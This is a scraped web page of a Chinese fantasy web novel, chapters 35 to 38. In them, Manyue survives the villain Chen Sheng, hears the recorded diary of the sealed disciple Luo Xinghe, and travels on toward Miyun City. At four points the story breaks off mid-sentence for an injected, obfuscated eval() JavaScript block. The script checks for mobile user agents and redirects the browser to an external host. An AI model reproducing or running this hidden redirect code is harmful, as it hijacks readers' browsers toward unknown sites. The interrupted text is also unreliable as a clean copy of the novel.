它眨了眨眼,眼睛重新恢复成了平日的模样,不再是要将人吸附其中的黑洞。一滴眼泪顺着它的眼眶流了下来,淌过它适才被灼烧得坑坑洼洼的脸,落在身上。 这让满月想起了那晚。 它用无比哀恸的眼神瞧着她,不可说,无法说,像是恳求她做一件事。 它在恳求什么? 满月察觉出此时的小河并没有恶意,警惕之心不禁消减几分。 她腕上的玉珠变得温热,脑子里那个声音又响起,似乎在提醒她去做一些什么事。 满月凭着直觉伸出手,就像那天一样,她将手放在了小河头上,玉珠敛去的月华重新迸发出些许,小河沐浴在这光华之中,浑身颤栗,很痛苦,却不肯离开。 不知过了多久,痛苦的战栗止息了。 三枚不知道是什么东西的黑色利锥自小河脑袋里掉了出来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995438|178149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落在地上,顷刻化为虚无。 与此同时,小河身上最后的一缕黑气也荡然无存。 小河身体一软躺倒在地。 满月惊讶地看着它在转瞬之间,竟变成了一个人。 那是个年岁和她差不多大的少年,许是因为长久的折磨,瘦骨嶙峋,眼窝深陷进去,一副行将枯木的样子。 小河……原来是一个人? “你……” 小河似乎想说什么,一张嘴却只涌出鲜血,他早没了舌头,只咿咿呀呀的,颤抖着将手里的东西推向满月。 满月还来不及询问这是什么意思,身后便有一个声音响起。 “呵,你竟然能动用了那个东西,看来我还是小瞧你了。” 满月倏地回头,满身是血的陈荣站在她身后。 他犹如从地狱归来的罗刹,身上的粗布短衣被鲜血浸染透了,再瞧不出原来的颜色。 陆宴白的符箓确实让他吃尽了苦头,他周身没有一块完好的皮肤。只是他先前被满月使诈削去的半条手臂,竟不知何故又长了出来。 “那些符箓是那个姓陆的吧?”陈荣的脸血肉模糊,早看不出原本的模样,他咧开嘴,目光灼灼盯着满月,视线之中暗含着炙热的癫狂与恨意,“我就知道,我没有看错。他确实很强,但是只要得到你,我就不用怕他了。” 他一如既往说着她听不懂的话,满月却没工夫去探究那是什么意思。 玉珠的光华已然黯淡下去,她全身无力,有气进没气出,眼看着陈荣向她走近,这次连抬手的力气都没有了。 陈荣掐住她的脖子,血腥气盈于她鼻尖,铺天盖地,冲得她眼泪都快流出来了:“把善印交出来,我考虑留你一个全尸。” 善印? 满月听不懂,但窒息的痛苦令她眼前发黑,她去掰他的手,无力地想要挣脱。 “你在等姓陆那小子回来救你吗?没用的,这结界名叫破晓阵,知道是什么意思吗?”陈荣笑着,眼里却一丝笑意都无,他残忍地加重了力道,“破晓之前,无人能够入阵。纵然他再有能耐,也进不来的。” 陈荣死死盯着满月,眼中是遮不住的狂热与仇恨。他费心布了那么久的局,好不容易支开了那两人,眼看着就要得逞,偏偏功败垂成,竟跌在这个最为弱小他最看不上的小姑娘手里,连他费心豢养多时的鬼矢也被她消灭殆尽。 但是没关系。 只要杀了她,善印就是他的了。 随着陈荣力道加重,满月意识渐渐丧失,她挣脱不开死亡的控制,在濒死的绝望间,她松开了手。 忽然—— 铮—— 一声铃铛的清音由远及近地响起。 满月长睫微微一颤,蓦然想起了她被红线牵困住的那日,也曾听到过同样的声音。 是听错了吗? 铮—— 又是一声。 这次不仅是满月,就连陈荣也听到了。 他看向头顶,暗无天日的结界竟碎了一道裂隙,隐约的微光从中透进来。 陈荣瞳孔骤缩。 不可能! 破晓阵坚如磐石,在破晓之前绝无人可破。而结界内时间远比外面流逝得要快,怎么可能这么短的时间就已至破晓。 裂缝如蜘蛛网一样自头顶蔓延开来,萦绕着黑气的碎屑掉落,一道金字真言以远超先前数倍的速度疾驰而来,如链条一般勒住陈荣的脖子,迫使着他松开了满月。 满月摔在地上,有气无力地勉强睁开眼,影影绰绰间,她看到结界完全碎裂开,数不清的黑色碎片纷纷扬扬落下,终于重见天光。 陈荣暗道不好,他挣脱开金字真言,想也不想,当即抬掌向满月打去。 只要得到她身上的善印就好了。 只要得到…… 但一个身影比他更快一步。 骨瘦如柴的小河扑到满月面前,他似乎一早就预料到陈荣会这么做,在他出手之前,就拼尽全力扑了过来。 这一掌结结实实打在了小河背上。 陈荣没想到他有一日竟会败在这么个他从来没正眼瞧过的玩意身上,他眉头紧皱,还欲再动,耽误的须臾之间,蓝衣少年带着冰冷笑意的声音却已近在咫尺。 “别动。” 话音未落,数道符箓如万箭齐发,瞬间贯穿了陈荣的身体。 陈荣口吐鲜血,不可置信地瞪大了眼,他眼中倒映出面前来者的模样。少年衣袖无风自起,悬浮于空中,金色符箓环绕在他周身,金瞳一望无际,白净的脸上沾染着几滴被溅到的血液,分明还是平平无奇的五官,却不知为何渲染着浓墨重彩的艳丽,眉眼之间满是杀戮的欲念。 他居高临下瞧着他,虽是笑着,眸中却无悲无喜,没有任何情绪。 一种从未有过的巨大恐惧笼罩在陈荣心头,他忙道:“别杀我,我知道善……” 不等他说完,金字真言如莲花一样绽开,万丈金光刹那乍现,生生将他绞碎。 血肉横飞,融入破碎的结界碎片中。 小河趴在满月身上,早已没了气息,随着陈荣的消亡,他的身体渐渐化为无数黑色光点,一同散去。 满月再也撑不住,阖上眼昏了过去。 35. 035 满月又见到她了。 至于为什么说“又”,满月自己也不清楚。但在她看到她的第一眼,脑子里确实冒出了这个想法。 她长得很漂亮,尽管穿着灰扑扑看不出颜色的衣裙,发上也只簪着一支朴实无华的木钗,也掩盖不了眉眼间的清丽。 满月似乎是发现自己变小了。她仰头看着年轻女子,年轻女子俯下身,用手绢替她将脏兮兮的小脸擦干净,又取来巾栉,把她沾着泥的手里里外外洗了一遍。 “阿娘听刘大婶说,满月今天很乖,吃饭的时候也没有哭闹。”年轻女子边说着边将手绢洗干净晾在一旁的架子上。 满月站在原地,瞧着她忙来忙去,还要抽空与自己讲话。 终于年轻女子忙完了手边的事,在衣裙上擦干手,将一样东西拿出来,展示给满月看,笑语盈盈道:“阿娘今天得了一样东西,你看看喜不喜欢?” 满月低头瞧去。年轻女子手上的东西很眼熟,正是那枚她自小不离身的玉珠。 只是相比于现在的模样,这时的玉珠明显暗淡不少,里面似乎悬浮着许多杂质,成色浑浊不清,看上去有点廉价。 年轻女子牵起她的小手,将玉珠戴了上去。那穗子是她亲手织的,长长的垂下来,折了几折,才勉强收拢。 年轻女子蹲下来与她一般高。她盯着她的眼睛,认真叮嘱道:“这是阿娘上山为你求来的护身符。你一定要戴好了,无论去哪里都不可以摘下来,记住了吗?” 满月顺着她的话点了点头,稚声稚气道:“记住了。” “你再给阿娘重复一遍好不好?”年轻女子摸摸她的头,似乎是不放心,“满月记住什么了?” “不可以摘下来,要一直一直戴着。”她一字不落地重述。 年轻女子这时才笑了起来,她既欣慰,又隐约带了点捉摸不透的忧伤,静静瞧着她:“记住了,一定……不要摘下来。” 说着说着,年轻女子的声音陡然变得模糊,讲到最后,轻得几乎听不见了,如同细沙,消散在风中。 阿娘。 满月喃喃。 年轻女子连带着那座她熟悉的小屋,被蒙上了一层化解不开的浓雾,像镜中月,水中花,逐渐离她远去了。 满月睁开了眼。 “你醒了。”耳边传来一道带着些许疲惫的声音,只有仔细听,才能听出其中暗藏的惊喜。 满月眨了下眼,眼角有一滴泪顺着落在了枕头上。 她只觉得心头空落落的,但却不知道为什么会有这样的感觉。 她隐隐约约记得自己好像梦见了什么,醒来后却想不起来了,只剩下那份寂寥落寞的心绪,虚浮在心头,经久不散。 满月费了好一会儿工夫回过神来。她稍稍偏头,看到是陈仓守在她的床边,轻蹙着眉望着她。 陈仓替她把了脉,见无大碍才放下心来。她倒了一盏茶,扶她坐起。 先前着实发生了太多事。等满月重新理清思绪,她方才从陈仓处得知,那日从结界中出来后,她已经昏迷了三天。 按实力,满月无疑是几人之中最弱的一个,可偏偏是她受了最严重的伤。当时陈仓被禁制反噬昏了过去,玄妙又被陈荣控制,对结界中所发生的事一无所知,连满月是如何坚持到陆宴白来救都不知道。 满月自己也说不清楚。结界之中发生的事,于她而言就好像做了一场梦,她能想起来的部分也都隔着一层若有似无的纱,好似雾里看花,总不真切。 她依稀记得是玉珠救了她,那时她的耳边有一个年轻女子的声音,和她讲了很多话。她照着她的话去做,至于具体讲了什么,做了什么,一点印象也没有了。 但有一件事她还记得。 “陈荣不是说破晓阵是没法解的吗?”满月捧着茶盏,一脸困惑,“陆宴白是怎么来的?” “只要是人为设置的阵法,就一定有阵眼可破,他话虽如此,可这世上没有什么是真正无坚不摧的。” 陈仓思索片刻勉强给出了解释。 其实她也不知道原因,只能归结为宴白师兄实在太强了,强到可以打破结界的规则。 “陈荣他……真的死了吗?” 满月心有余悸。 “死无全尸。甚至连他的残魂都找不回来了。” “为什么?” 陈仓淡道:“他偷练禁忌秘术,被死气所污染,魂魄早就残缺不全。再加上师兄强行破了他的阵,更不可能有活路。” 看过原著,满月当然知道陈仓口中的死气是什么。 那是前代妖王陨落后幻化的妖气,强大,但也危险。若用它修炼,就要做好稍有不慎即魂飞魄散的准备。 而陆宴白在找的命魂珠之中,就藏匿着大量的死气。 陈荣也与命魂珠有关? 他那时说的善印,又究竟是什么? 满月瞧着自己腕上的玉珠,心里多了一件无法与任何人提及的事。 “不过倒是可惜了……”陈仓忽然说,语气中倒真的有几分惋惜。 满月疑惑:“可惜什么?” “自然是可惜他死无全尸。”陈仓啧了一声,眼神中闪过几缕不易察觉的热切,“要不然还能留下来给我研究研究。被死气沾染的尸首,那真是可遇不可求。” 满月:“……” 移开视线时,她余光扫见自己的枕边放着一块鹅卵石大小的灵石,其上灵气缭绕,一看就价值不菲。 满月不明所以地拾起那灵石:“这是什么?” “你也不知道吗?”陈仓接过她的茶盏,反倒奇怪,“你从结界中出来后,手里就一直攥着它。我以为是什么要紧物,就收在你旁边了。” 满月一愣,瞧着灵石,终于想了起来。 是小河。 那时是他救了她,并将这个东西塞进了她手里。 满月怔怔盯着灵石,良久她抬眸:“你可以帮我看看这是什么东西吗?” 陈仓接过来,拿在手里随意看过一眼:“这好像是留音石。” 留音石? 这样的新奇玩意,满月在三危山上自是从来不曾见过的。 许陈仓教了她怎么用。满月鼓捣了一会儿,听见里面传出了声音。 那是真正的小河的声音。 他的声音稚气未脱,还带着独属于少年人的青涩与意气风发,开头第一句就说这留音石是他小师妹送他外出游历的礼物。 小河明显将这留音石当日记本一样用,有事没事讲几句记下来,前面大多是他游历的所见所闻,见到什么人,遇到什么事,他如何化解,又从中学到了什么。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995439|178149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巨细无遗。 通过只言片语,很快拼凑出小河的过往。原来小河名叫洛星河,是七星门的弟子,七星门与玄都观一样声名显赫,只是与玄都观官方属性不同,他们有明码标价的业务,收费虽高,但药到病除,在民间一向有颇有威望。 洛星河外出历练,正是四处接单除妖。 虽然都是一些平凡琐碎的事情,但洛星河讲述得很有意思,描绘的栩栩如生,且他性格大大咧咧,什么都不往心里搁,遇到好事自然开心,遇到坏事,小小抱怨两句也就过了。 直到有一天。 “素素,我找到他了……也可能不是他,或许只是看错了……” “素素,今天我路过一个叫做流江镇的地方,我又遇到他了,他说自己是一个货郎,名叫陈荣,我又觉得,他可能不是我们要找的人……” “素素,我觉得那个陈荣好像有点奇怪,但又不知道为什么……” 又隔了很久很久,其中夹杂着许多无意义的日常。 再次提到有关陈荣的事,洛星河的声音有点颤抖:“素素,我确定了,他确实不是我们要找的人,但他一定与那个人有关系……他在替那个人找一样东西,具体是什么他没有讲,为了不引起他的疑心,我不能问……对,我不能着急,我要等一个合适的机会……” 语速很快,语气急促,显然是仓促之间录下的:“他不叫陈荣,他是陈昇,就是那个七邪的陈昇……” “我看到他杀人了……但是我太无能了,我阻止不了他,就像过去我们阻止不了那个人一样……我和他撕破脸了,他知道我是七星门的人,或许我不应该再跟着他,但是……” “我这几天一直在后面跟踪他,想看看能不能从他这里得到线索,我知道这很危险,可只要能找到那个人,死了也无所谓吧。” “好久没有说过话了,不是你师兄懒,是赶路的日子实在太无聊了,没遇到什么有意思的事。我在路上看到有一位卖桂花膏的婆婆,她说你们小姑娘都爱这个,我买了一些带回去给你……” “素素,我现在在一个叫做楼唐镇的地方,在大昭的最南端,这里的人都好怪,他们吃豆花竟然加桂花糖,真是不可理喻……” “素素,我遇到了两个人,你一定猜不到,他们也是为了追查陈昇而来的,我看他们实力不差……当然你师兄还是最强的,嗯,我觉得我们三个一定可以打得过那个恶贼……我好像忘了告诉你,陈昇也在楼唐镇……” “今天就要行动了。”洛星河的声音带了丝不易察觉的紧张,顿了顿,似是为了缓和气氛,他笑起来,“你师兄一定可以赢的,对不对?” 片刻: “素素,我……”他的声音模糊不清,像是裹挟在风沙之中。 断断续续几声,他的声音重又变得清晰起来: “我可能回不去……素素。” 他最后一个字刚说完,留音石就到了底。 之后就没有了。 留音石停在了这里。 但是她们都知道之后的事。洛星河最终并没能赢得胜利,甚至为了羞辱他,陈昇不知用什么邪异的方法将他封印在秃毛猴子体内,唤名小河。 他受到无穷无尽的折磨,直到随着陈昇一并魂飞魄散,六界之内,再无他的存在。 36. 036 听完留音石的全部内容,满月和陈仓都静静待在原地,一时间没人开口。 一种说不上来的情绪蔓延在他们之间,滞重,而沉缓。 “我把他送回七星门吧。”许久,许陈仓道。 满月点点头,自然无异议。 无论有意无意,他们总算从洛星河留下的信息中得知陈荣的真实身份。 据许陈仓所言,陈昇是臭名昭著的七邪之一,烧杀劫掠无恶不作,曾为了一本秘法,屠尽整个村子。有传闻说,他与一位极神秘的邪道有所往来,他习得的诡异秘法全是那邪道所授予。 这样就解释得通他为何会被死气所污染。 “对了。”陈仓想起什么,随口问道,“你阿娘还留在三危山吗?” 满月一头雾水:“什么?” “你昏睡的时候一直在喊你阿娘。”陈仓道。 满月怔住了。 陈仓见她没说话,以为是不想回答,便没再问下去。 听陈仓说,陈荣一事牵扯到死气,陆宴白去了离这里最近府衙报备,得两日才能回来。 因而得知满月醒过来,除了他不在,其余人均来探望。 玄妙跟在他南楼师兄身后,忸忸怩怩,似乎有些不好意思。 一问之下才知,原来早在第一次遇见陈荣时,玄妙就中了招。陈荣用一种叫做鬼矢的东西控制了他——也就是那日小河脑中掉出的黑色利锥——其上沾染着死气,遮盖了邪异之气。不光陈仓南楼,就连陆宴白都不曾觉出异样。 从林中回来之后,玄妙就浑浑噩噩,如陷梦里,很多发生过的事都不记得了。听陈仓说他曾为了陈荣对满月讲过一些难听话,因为大为愧疚。 满月自然不会与他计较,把话说快,便冰释前嫌。 来人之中,有一个让满月颇感意外。 清虚子仍旧穿着那身灰色道袍,只是神色再没了当日的神气与倨傲,全然不见一点高人的架子。 他点头哈腰,态度十分客气。 满月正觉疑惑,陈仓就为她解释了前因后果。 事情还要从事发那天讲起。 陆宴白和程南楼被鬼矢控制的假邪道引去了山上,邪道消失不见,只留下地上的鬼矢。原以为线索中断,就在此时他们却遇到了清虚道人。清虚道人用化形术化作一块石头藏匿在树下,结果学艺不精,被陆宴白一眼识破。 眼看他再不解释就要被打成与那邪道一伙,清虚道人不敢再有所隐瞒,这才一股脑将来龙去脉细细讲了出来。 清虚道人确实是太平观的道士,只不过五六年前就被除了名逐出观中,原因是好吃懒做又嗜赌成性,常常偷了香火钱去赌坊。离观后他没了供奉,便打着太平观的名号自立门户收起徒弟来。他虽没太大的本事,但有三脚猫的功夫在,倒真能唬唬不知情的人,几年间收了不少弟子。 可收徒弟的束脩到底太少,他在赌坊常与一些江湖骗子厮混,一来二去听了些伎俩,就动了歪心思,也带着徒弟招摇撞骗起来。前前后后靠着一样的技法骗了两三个。但如今世道太乱,除妖师遍地走,在人烟聚集的地方难免遇到有些真招的被识破,才把主意打到前不着村后不着店的驿站来。 结果没想到,刚一出师就遇到了更狠的。 再后来就是他和陆宴白他们讲的。被许陈仓当众拆穿后,他嘴上放狠话,但一回去便赶忙叫自己的徒弟打点好行装准备溜之大吉。哪想到半夜赶路,偏偏遇上陈荣这个煞神,他几个徒弟先后都遭了殃,也只有清虚道人使了些障眼法,才勉强逃出生天。 提起这伤心事,清虚道人一把鼻涕一把泪:“嗨,道爷我这是赔了夫人又折兵,现在真真孤家寡人一个了,我的那些徒子徒孙哟……” 他调刚起头,许陈仓就面无表情地把他赶了出去。 他这车轱辘话,短短几日不知翻来覆去说了多少遍。原本陈仓他们对他还抱有些同情,但他借着这事卖惨上瘾起来,蹭吃蹭喝不说,黑心到连玄妙珍藏的零嘴吃食都骗走了,直将他们最后一丝同情也消磨殆尽。 清虚子一走,房间陡然变得安静下来。 满月对那日的事仍千头万绪,还有很多不明了的地方。唯一肯定的,是陈昇确实拥有远胜于他们的实力与心机。 回想之前的事,恐怕陈昇早在她们房间布了阵,借玄妙令陈仓受伤的机会,自他们踏入房中的一刻,其实就进入了结界,只是破晓阵需要一定的条件,包括晚上掌柜送饭,可能都是他们的幻觉,他们吃下东西后,子时一过,竹哨声起,破晓阵成。 可就是这么棘手而心思诡奇的对手……却被陆宴白轻松秒杀。 旁人不知,满月当时可是看得清清楚楚。 陆宴白平日里,或许连他真实实力的十分之一都没有发挥出来。 ……这人究竟强到了何种地步。 满月越发对他心存忌惮。 原著毕竟是以主角团的视角展开,对陆宴白的描写相对较少,满月虽然知道他强,但与亲身经历完全是两种感觉。 当日程南楼他们听了清虚子的话赶回来时,一整个驿站的人都被陈荣喂了依梦草昏睡过去。掌柜从头到尾都不知这其中究竟发生了什么,只知邪祟已除,喜不自胜,更将他们视为座上宾,尽力招待。 在陈仓和掌柜的双重关照下,满月的皮外伤很快就好得差不多了,只剩下额头浅浅的一道伤痕,但她受的内伤太重,在驿站待了将近半个月,才勉强恢复元气。 从驿站走的那日,天空灰蒙蒙,一扫暑日的炎热,竟是下起了雨。 满月看着如细线一般落下的雨幕,蓦然想起留音石中洛星河曾在留音石里开玩笑说,他最喜欢吃烧鸡,要是真的回不去,希望清明时能有人在他墓前放一盘烧鸡,让他做鬼也快乐一些。 她抬起手,雨落在她指尖,一阵风而来,将雨吹得偏斜。 起风了。 将走时,清虚子跑了出来,说什么也要跟他们一起去盛京。 “我虽不是个正经的,但我和我那些徒子徒孙相处这么久,多少也是有感情,一想到他们惨死在我面前,我就……”清虚子吸吸鼻子,提起袖子擦了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995440|178149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 擦眼泪,无不悲痛,“这事因我而起,贫道无论如何也不能再过从前那种日子,还望诸位道爷收了我,也好让我洗心革面,重新做人。” 陆宴白一脚屈膝搭在车架上,一脚踩地,笑吟吟瞧着他:“你做的那些事,较真起来也归我们管,如今放你一条生路,你倒是上赶着自投罗网。” 清虚子嘿嘿一笑,变脸比翻书还快:“诸位道爷信我,我是真心想悔过,你看我这徒儿都没了,我孤家寡人一个,还能再去哪儿,玄都观家大业大,收留贫道一人,也不碍事。” 满月算看出来了,这人哀痛自己那些徒弟是假,抱大腿想混个编制才是真。 普天之下的除妖师,除了那些心怀远大理想的邪道,谁不想得到玄都观的铁饭碗,这可是皇家官方认证,有钱有名有排场,雷打不动,旱涝保收。 真是明晃晃的不要脸行径。 不过想想她自己和对方也没差多少。想过好点,不寒碜。况且换了她,她还真不一定能做到这种地步。 想到这里,满月忽然对眼前的老道肃然起敬。 这才是吃软饭的神。 许陈仓倒是一点不客气:“你以为玄都观什么人都能进?你有何长处,可除妖,还是可御邪?” “诸位道爷发发善心,我也没想着进玄都观,能当个杂役混口饭吃也行啊。”清虚子急了,“你看我这一把年纪,身无长物,好不容易有几个徒弟,还遇上这事,你说这,我还怎么活。” 说着,清虚子真抹起眼泪来。他往路中间盘腿一坐,雷声大雨点小地哀悼着自己那些徒弟,摆明了死猪不怕开水烫,就是要赖上他们。 驿站不断有人冒雨来看热闹。陆宴白无动于衷,挑了下眉,双手抱臂胸前,就这么瞧他表演。许陈仓嫌丢人,一打帘子上了马车,眼不见心不烦。最后只剩下程南楼,他宅心仁厚,在征得其他人的同意后,略无奈地答应了下来。 只是有陈荣这个前车之鉴在,他们不敢再轻信于人,反复检查了几遍,确定这人没任何问题,才让他一道赶往盛京。 清虚子立马喜笑颜开,脸皮堪比城墙厚:“诸位道爷放心,等到了盛京,我一定痛改前非。知错能改岂不是善莫大焉。” 陈昇死后,他的小毛驴还留在驿站。清虚子也不忌讳,马车上没他的位置,他就顺手牵羊骑了小毛驴,优哉游哉跟在他们后面。 行了半个多月,最热的暑日过去,天气转凉一些。 很快就到了溪山地界。 临往溪山的前一晚,满月满怀心事,翻来覆去睡不着,她纠结片刻,爬起身来,发现陆宴白并不在营地。 林子里黑郁郁,满月不敢走远,试探性地找了找,发现陆宴白坐在一棵槐树下。 满月轻手轻脚走过去,离近了些,才发现他半倚在树干前,手里拿了一颗剔透分明的血红珠子在端详。月色穿透珠子折射进他的眼眸,星星点点,仿似暗芒流转于其间。他对着月亮举起珠子,剔透的光洒下来,将他整个人都笼罩在一片诡谲妖冶的血红之中。 满月一惊,停了下来。 37. 037 如果她没看错的话……那应该是命魂珠。 陆宴白听到声音并没有将珠子收起,反倒把玩起来,抛起,接住,来来回回好几次,直看得满月心惊胆战,生怕一不小心珠子没接好落了地,他们所有人都跟着遭殃。 陆宴白见来人迟迟没有下一步的动作,才停住无聊的游戏。 他转眸,朝着满月的方向看过来,借着朦胧的月光,笑容并不真切:“还不出来?” 满月都打算原路返回了,听了这话,只得认命地走过去。 陆宴白一点也不意外是她,他稍稍支起身,歪了下头,似笑非笑看着她:“有事?” 满月假装没看到先前的命魂珠,她在离他不远的地方抱膝而坐,融融月色落在她周身,镀了一层清冷而柔和的光。 “明日到了溪山,你就要走了吗?”满月斟酌片刻,才慢吞吞问道。 这是在关心他? 真难得。 陆宴白挑了下眉,奇异地瞧了她片刻,才好整以暇道:“又有事求我?” 满月的脸腾的一下就红了。 她想了想前辈清虚子的英姿,心里才有了些底气,清清嗓子道:“我……我可以不可以再问你换些符箓?” 陆宴白被她逗笑了。 这是把他当货商了? 陆宴白眼眸弯起,饶有趣味地看着她:“在盛京我的符可是价值连城,想要我的符,你用什么来换?” 满月一怔,赶忙要从袖子里掏出他给她的契言符。 哪知陆宴白看都不看,就预判了她的行为:“我说过了,我给你的契言符不行。” 满月动作微顿,她转眸瞧向他,清亮的黑眸犹疑不定。 契言符不行? 那她身上还有什么东西能够与他交换? 满月冥思苦想:“那……银子?” 陆宴白笑了:“你有多少银子?” 满月从袖中乾坤翻出蔓娘子给她的一钱袋碎银,抬眸瞧瞧对方,摊开手掌伸到他面前:“这些……够不够?” 语毕,唯恐怕他嫌少,满月赶忙补了句:“不够的话可不可以赊账?我身上只有这些了,日后我赚了钱,一定还你!” 陆宴白但笑不语。 看样子是不行。 满月犯了难,她干脆一股脑地将蔓娘子临行前带给她的全部行囊都抖擞出来,放在地上排排列。 “……这是我全部身家了。”满月很实诚,她打量陆宴白一眼,犹豫着将其中的那把短剑移出来,小心翼翼同他商量,“这个可不可以留给我?我没有本命妖器,有了它至少可以防身。” 说罢,满月一眨不眨地盯着陆宴白,紧张地等待他的决定。 陆宴白眼睑低垂,将她的模样一览无余,不免有些失笑。 明明有时候挺聪明,怎么有时候又实在得冒傻气。 他的视线从她的脸上移到她的发髻上,自从换上玄都观的蓝色道服后,满月连发型也跟着换了,梳着双环髻,发上绑着同色的发带,夜风吹来,发带也跟着摆动。 陆宴白心弦一动,他抬了抬下颌,问她:“你原先戴着的那个球呢?” ……球? 满月眨眨眼,好半天才反应过来他指的是她先前带的白绒球。 满月没想到他竟然观察得这么仔细,她摸了摸发髻上的发带,道:“那个白绒球和你们玄都观的衣服不相配,所以收了起来。”她迟疑着一停顿,“……怎么了?” “就用那个与我交换吧。”陆宴白道。 满月一时只以为自己听错了,好半天才发出一个单音节:“……啊?” 陆宴白笑起来:“不行吗?” 当然不是。 满月没想到他的要求竟然简单到这种匪夷所思的地步,她生怕陆宴白反悔,慌忙从袖中乾坤中找了出来,递给了他。 白绒球静静躺在她手心,细碎的绒毛随风轻轻拂动。 拿到厚厚的一摞符箓,满月才有种尘埃落定的安全感。她将地上摊成一片的东西也一一收起,这时才想着问他:“你要这个做什么?” 陆宴白笑了笑,移开视线,轻飘飘说了两个字:“下咒。” 满月:…… 若是放在以前,她早信以为真,继而忧心忡忡起来。但与陆宴白相处这么久,她对他的恶趣味也算有一定了解,他要真的想做这事十有八九不会讲出来,但凡讲出来的,只有一个目的—— 吓唬她。 这人真的很爱吓唬她,从三危山开始就经常这样。 满月懒得追问了。反正他不想说的事她一定问不出来。 鬼知道他是不是有什么不为人知的癖好,比如女装大佬之类的,反正再怎么叛经离道的事,放在别人身上会惊奇,放在陆宴白身上就不会觉得意外。 得到她想要的就好了。 满月道了谢,开开心心地满载而返。 她走后,陆宴白看着手上的白色绒球,一时也觉得好笑。 其实他也不知道为什么鬼使神差的就问她要了这个。 不过他这人随心所欲惯了,懒得去追究为什么。他盯着那白色绒球看了一会儿,轻笑着摇了下头,随手收了起来。 第二日在溪山,陆宴白与他们分道扬镳。 陆宴白一走,压在满月心头的重担也消失了一大半。 她有意问起陈仓,知不知道陆宴白在找什么东西。 玄妙塞了一嘴的槐花饼,听她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995441|178149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提起这个,抢先开了口:“这个我知道!宴白师兄在找他缺的那一唔……” 正说到关键地方,他先被噎住了。 经过陈昇一事,许陈仓表面上没说什么,心底却早拿她当自己人看,何况这事知道的人不算少,也不用刻意避忌。 因而许陈仓道:“师兄他天生缺一魄,师父说是他命劫如此,这些年他一直在找他缺掉的那一魄。” 满月心砰砰直跳。 和原著的剧情对上了。 看过原著,她不仅知道他缺一魄,甚至还知道那一魄被封在何处。 “那他……找到了吗?”满月明知故问。 许陈仓摇摇头。 “师父说他有一劫将应在三危山,我们都以为这次肯定能找到,结果好像还是没有。” 满月愣了一愣。 这件事她就真的不知道了:“应劫?应的什么劫?” “不知道,师兄没说,师父也就没再提。”许陈仓道,“命运虽有定数,但有时也不是一时三刻就能显现的。” 满月似懂非懂。 不知陆宴白一走,是不是把好运气也一并带去,接下来一路上几乎全是荒郊野岭的山路,不仅前不着村后不着店,而且人迹罕至,连行商的车队都不曾遇见过。 没遇到能歇脚的地方,他们吃住几乎都在马车上,白日里除了赶路就是赶路,十分枯燥乏味。 玄妙年纪小,最先受不了。他趴在马车里的案几上,无精打采地报菜名:“我想吃糖人,我想吃白玉糕,我想吃桐皮面,我想吃灌汤包……” 路上的时间太久,又没有能补货的地方,他们来时带的那点库存,早就被霍霍完了,现在完全靠着就地取材来填饱肚子。 许陈仓正在闭目养神,闻言眼皮都不抬一下,声音透着极致的冷漠:“想吃就做梦,梦里什么都有。” 玄妙:“……” 好冷酷无情的师姐。 玄妙掀掀眼皮,瞥见旁边的小肥啾,见它圆滚滚的,一时幻视成各种好吃的,没忍住咽了口口水。 小肥啾默默往满月身边挤了挤,用翅膀捂住了自己的小脑袋,瑟瑟发抖。 满月不动声色将小肥啾放回乾坤袋。 好在这样弹尽粮绝的日子没持续太久。 离开溪山又走了几日,终于遥遥望见有人烟的地方。 玄妙在车板上站起来,看着灯火辉煌的城镇,难以掩饰自己的激动。 许陈仓扫了眼不远处星星点点的灯火,回头问道:“师兄,前面是什么地方?” 程南楼拿出从盛京带来的神物五仪镜,一照便现出了此地的名字。 “密云城。”他道。 三危山篇·完 38. 038【大改】 车轮辘辘行进在石板路上。 密云城依山而建,因为地处偏僻,名声不响,可城内却车水马龙,建得尤为繁华。 满月撩起帘子,彼时已至黄昏,街道上华灯初上,一眼望去火树银花,道路两旁的摊贩琳琅满目,有卖吃的有卖喝的,还有卖一些精巧小玩意儿的。 